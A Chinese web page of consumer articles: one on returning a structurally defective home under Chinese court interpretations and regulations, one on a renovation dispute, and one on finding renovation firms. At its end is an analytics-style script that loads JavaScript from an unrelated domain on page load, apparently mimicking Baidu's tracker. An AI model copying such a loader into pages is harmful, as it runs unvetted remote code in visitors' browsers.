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问题房屋质量退房可以吗? 有哪些条文支持呢?
房屋是我们的生活所需,但是现在很多市面上销售的房屋的质量往往都不是很好的,很多在购买的时候没有发现,总是在住进去之后各种问题才不断暴露出来,那么,如果我们在购买入住之后发现所购买的房屋质量有问题,可以进行退房吗?问题房屋质量退房有哪些规定呢?需要符合什么样的条件呢?现在小编给大家详细介绍一下。问题房屋质量退房可以吗?有哪些条文支持呢?一、关于因商品房主体结构质量不合格导致合同解除的情况。最高人民法院《关于审理商品房买卖合同纠纷案件适用法律若干问题的解释》(以下简称《最高院解释》)第十二条规定:“因房屋主体结构质量不合格不能交付使用,或者房屋交付使用后,房屋主体结构质量经核验确属不合格,买受人请求解除合同和赔偿损失的,应予支持。”《城市房地产开发经营管理条例》第三十二条规定“商品房交付使用后,购买人认为主体结构质量不合格的,可以向工程质量监督单位申请重新核验。经核验,确属主体结构质量不合格的,购买人有权退房;给购买人造成损失的,房地产开发企业应当依法承担赔偿责任。《商品房销售管理办法》第35条也作出基本相同的规定。根据前述规定,主体结构质量问题包括三种情形:一是,房屋未经验收即发现存在主体结构质量问题;二是,房屋验收时发现主体结构质量问题;三是,房屋经竣工验收合格交付使用后,经核验发现主体结构存在质量问题。前两种情况,房屋根本不允许交付使用。第三种情况,首先应通过检验确定主体结构是否存在质量问题,在确定此前提下,买受人可依法行使权利。二、关于因商品房质量瑕疵严重影响正常居住使用导致解除合同的情况。《最高院解释》第十三条第一款规定“因房屋质量问题严重影响正常居住使用,买受人请求解除合同和赔偿损失的,应予支持。”本条所称的“房屋质量问题”应是指除地基基础工程和主体结构工程之外的质量问题,即屋面防水工程和其他土建工程,以及电气管线、上下水管线的安装、供热、供冷系统等工程出现的质量问题。买受人依据该条解除合同,除房屋存在质量问题外,且该质量问题应达到严重影响正常居住使用的程度,否则不能达到解除合同的目的。但《最高院解释》并未对“严重影响正常居住使用”的判断标准作出规定,在实践中,对此,有三种不同观点。第一种观点认为,商品房正常的“居住使用”主要以安全为标准,只要房屋能安全的居住使用,即不存在严重影响居住使用的问题;第二种观点人为,判断房屋质量问题是否“严重影响正常居住使用”应通过委托工程质量检验部门鉴定,法院依据鉴定结论做出判断。第三种观点则认为,房屋质量问题是否“严重影响正常居住使用”属于法官根据生活常识自由裁量的范围,不需要工程质量检验部门进行鉴定。本人同意第三种观点,因为专业质量鉴定机构所进行的鉴定只是依据现有规范、标准作出不合格、合格或优良的认定,并对某些量化指标进行确认。而房屋质量是否“严重影响正常居住使用”的认定没有客观标准,即使由专业工程师来认定,其所做出的鉴定也是完全依赖于其个人的生活经验和主观判断,没有法定依据和标准。因此,是否“严重影响正常居住使用”,法官作为审判人员,完全可以根据生活常识和经验,作出认定。以上,小编给大家详细介绍了问题房屋质量退房可以吗。并对一些相关法律法规对于问题房屋质量退房的规定进行了详细介绍,理论上是可以退房的,但是如果要打官司的话最后还是要看具体的情况以及法官的判断,但是如果消费者要在签订合约的时候最好有效果有质量问题后续处理的规定,这样才不会在后面出现一系列的纠纷,希望小编的介绍可以帮到大家。
装修质量出现问题 装修合同票据丢失不能维权
有一位刘先生在城区的一套学区房刚刚装修完,过了一两个月,刘先生一家欢天喜地的搬进新房,可是谁知道,就在刚搬进去没几天,装修质量问题接踵而来。首先就是厨房水管漏水严重,再就是卫生间墙体瓷砖开裂,最后更严重的还是房间靠近卫生间的柜子产生了黑色水渍。刘先生立马联系了当初的装修公司,可是对方却以别处有装修工程抽不出时间为由,一而再再而三地推脱,让刘先生自行处理。怒不可遏的刘先生想着去找出当初签订的装修合同,可是把屋子翻了个底朝天也没有发现任何关于装修完工之后保修期的条款。在这个时候,刘先生可真的是悔不当初啊,要想找装修公司理论却也无有力证据。在这里厦门装修小编建议各位业主在装修前一定要谨慎的签订装修合同,并把一切发票,票据及合同其他重要资料都保存好,以防后面不能很好的维护自己的权益。
几个关于哪里有装修的问题的参考意见
在买上心仪的房屋之后,都会迫不及待的想要住进去,也想好好装修一下让房屋更加温馨。那么哪里有装修的成了很多人比较疑惑的一点,上哪找专业的性价比高的设计师和施工队,可以让房屋装修更加放心呢?今天就针对去哪里有装修的这一问题给出一些建议,好让每一户人家都能住进心仪的房屋。首先是可以通过熟人间的介绍知道哪里有装修的,这样有了中间人做担保,也有现实的事例,可以更放心一些。但是难免也会有熟人介绍不好压价的状态出现。其次,可以通过当地的报纸广告等找靠谱的施工队,或者找当地专业的设计公司,上门进行量身定做。但这样又会面临造价过高的问题。现在人们一想到哪里有装修的,第一时间会上网查找相关信息。随着互联网的发展,有不少线上的家装设计公司,提供了不同风格、不同价位的装修。可以浏览该公司的所有装修样板,选出自己最喜欢的一套,在线上进行沟通。这不失为一种性价比超高,而且质量有保障的方法。省去中间人的尴尬,也没有高昂的费用,上网找家装公司是现代关于哪里有装修的问题的首选。但是在进行公司的选择的时候一定要浏览正规网页,多看设计成果和评价,以免上当受骗。特别是在进行金钱交易的时候要尤其注意,避免出现人财两空的状况。智能技术的发展让那里有装修的问题变得不再一筹莫展,住户可以通过网络找到更多样化的设计风格,设计师也可以通过网络平台有了更广大的市场。哪里有装修的也不会在困扰初入社会拥有自己第一套房的年轻人,多元化的平台提供多样化的选择,让家装不再困扰。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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